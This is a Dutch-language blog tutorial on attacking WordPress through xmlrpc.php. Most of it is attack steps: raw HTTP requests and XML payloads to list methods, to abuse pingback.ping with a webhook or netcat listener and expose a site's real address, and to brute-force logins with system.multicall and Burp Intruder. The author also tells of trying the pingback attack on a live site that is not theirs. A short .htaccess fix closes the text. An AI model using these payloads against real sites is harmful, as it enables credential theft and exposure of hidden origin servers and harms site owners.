Exploiting the xmlrpc.php
Privacy & Cookies
Deze site maakt gebruik van cookies. Door verder te gaan, gaat u akkoord met het gebruik ervan. Meer informatie, waaronder hoe u cookies kunt beheren.
Wat is XML-RPC?
XML-RPC is een API die de informatie of gegevens in een XML-bestand omzet en dit naar de mobiele app of software op afstand stuurt. Dit werd geïntroduceerd als in de oude dagen, internet snelheid is niet snel, in plaats van het schrijven van het online. Gebruikers schrijven hun inhoud offline en publiceren alles samen met behulp van de API. Naarmate de internetdiensten werden verbeterd, maakten de meesten van ons geen gebruik meer van deze functie, vaak werd hij door ons vergeten.
Wat zijn de kwetsbaarheden?
- Brute force-aanval. De belangrijkste reden om de aanval uit te voeren, is dat deze API geen cap login pogingen op de site heeft. Ze krijgen misschien niet de juiste credentials, maar veroorzaken toch problemen zoals overbelasting van de site. Beschikbaarheid van de site wordt beïnvloed.
- Onderscheppen/ stelen van login informatie. Gebrekkig authenticatie systeem. Elke keer dat een gebruiker toegang probeert te krijgen tot de website, worden de inloggegevens in het XML formulier meegestuurd. Als de verbinding wordt onderschept/ MITM, worden duidelijke XML-gegevens vrijgegeven.
- XMLRPC pingback.ping. Aanvaller kan de methode gebruiken om het echte openbare adres van de WordPress site te achterhalen.
⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️
Voordat ik begin om u te tonen de detailstappen van het uitvoeren van volgende aanvallen. Elke van uw illegale actie die u hebt uitgevoerd is op uw eigen. Ik ben niet verantwoordelijk voor uw acties. Zet uw eigen omgeving op om dit te doen of vraag toestemming voordat u het doet.
⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️
XMLRPC aanval met Burpsuite
Controleer eerst of XMLRPC.php toegankelijk is op de doelsite. In dit geval heb ik een demo WordPress site opgezet om de aanval uit te voeren.
“De XML-RPC server accepteert alleen POST verzoeken.”
Als we de GET methode gebruiken om het bestand op te halen, krijgen we normaal gesproken dit resultaat.
Volgende stap is het uitvoeren van een POST methode om alle bruikbare methoden in de XMLRPC server op te halen.
POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
De server zal je antwoorden met een lijst van methoden die gebruikt kunnen worden. In dit geval zijn we vooral geïnteresseerd in de pingback.ping methode. Merk op dat al deze gegevens die binnenkomen en vertrekken XML-formaat gebruiken, zoals hierboven uitgelegd. Dus, zorg ervoor dat het data formaat correct is.
Om de aanval uit te voeren, moeten we eerst deze 2 dingen voorbereiden
- Een geldige webhook.site URL of een ander alternatief zoals u verkiest zoals beeceptor en postbin
- Een geldige URL van een doel WordPress bericht.
<?xml version=”1.0″ encoding=”UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>
Hieronder ziet u een ander voorbeeld van deze aanval die is uitgevoerd op deze WordPress-site. JA! Degene waar je nu naar kijkt. Uit nieuwsgierigheid wil ik eens proberen om de echte site aan te vallen in plaats van de site die ik heb gehost.
Zoals u kunt zien, is deze aanval niet succesvol en wordt er geen resultaat in de postbin getoond. Het lijkt erop dat ze wat voorzorgsmaatregelen en preventie van de online WordPress site hebben gedaan. Deze methode is nuttig voor zelf opgezette site en heeft xmlrpc.php niet uitgeschakeld
Als u POSTBIN niet wilt gebruiken, open NC en zet het op luistermodus werkt ook! 👍👍
Brute force aanval met XMLRPC.php
Zoals hierboven vermeld, is er geen limiet op het aantal pogingen. Het verkrijgen van een succesvolle combinatie van gebruikersnaam en wachtwoord is slechts een kwestie van tijd. En er zijn ook geen mechanismen zoals het blokkeren van een account na een bepaald aantal pogingen.
<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>
Om het verschil te laten zien tussen succesvol en niet succesvol inloggen, is hier een voorbeeld.
En natuurlijk moet je Intruder gebruiken om dit soort brute kracht aanvallen uit te voeren.
Vorstel eerst het aanvalsdoel, in mijn geval het IP-adres van mijn site.
We moeten de payloadposities instellen en ‘Cluster bomb’ kiezen in de lijst Attack type. Goede bron om meer te lezen over posities en aanvalstypes
Hier moeten we 2 payloadposities instellen, ‘gebruikersnaam’ en ‘wachtwoord’. Vervolgens moeten we de woordenlijst instellen. Dit is de documentatie van de soorten payload
Klik op ‘Aanval starten’ als u klaar bent
Zoals we kunnen zien, heeft een van de Requests een andere lengte. En als we de ruwe gegevens onder het tabblad Respons bekijken, zien we dat deze combinatie succesvol is ingelogd.
Preventie
- Installeer plugin voor de luie mensen
- Sluit xmlrpc.php uit met .htaccess
# Iedereen de toegang ontzeggen tot het bestand
<Files xmlrpc.php>
volgorde deny,allow
deny from all
</Files>